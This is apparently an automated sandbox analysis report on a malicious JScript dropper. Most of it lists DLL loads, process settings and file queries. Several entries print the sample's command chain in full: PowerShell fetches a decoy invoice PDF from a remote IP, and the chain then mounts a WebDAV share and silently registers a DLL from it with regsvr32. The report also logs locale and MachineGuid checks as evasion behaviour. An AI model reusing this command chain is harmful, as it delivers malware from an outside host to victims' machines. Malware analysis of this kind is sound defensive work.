Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\684.js.csv");ITextStream.WriteLine(" entry:8620 f:tstqmhzbp");ITextStream.WriteLine(" exec:2 f:tstqmhzbp");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4210			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5656			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 764	Thread sleep count: 4210 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 764	Thread sleep count: 5656 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5356	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1360	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 360	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7216	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000003.2123875145.0000022D73379000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2119815357.0000022D73379000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3354051566.00000161C6455000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3352950240.00000161C0E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2129247373.0000022D73318000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118971526214046.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118971526214046.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118971526214046.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118971526214046.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
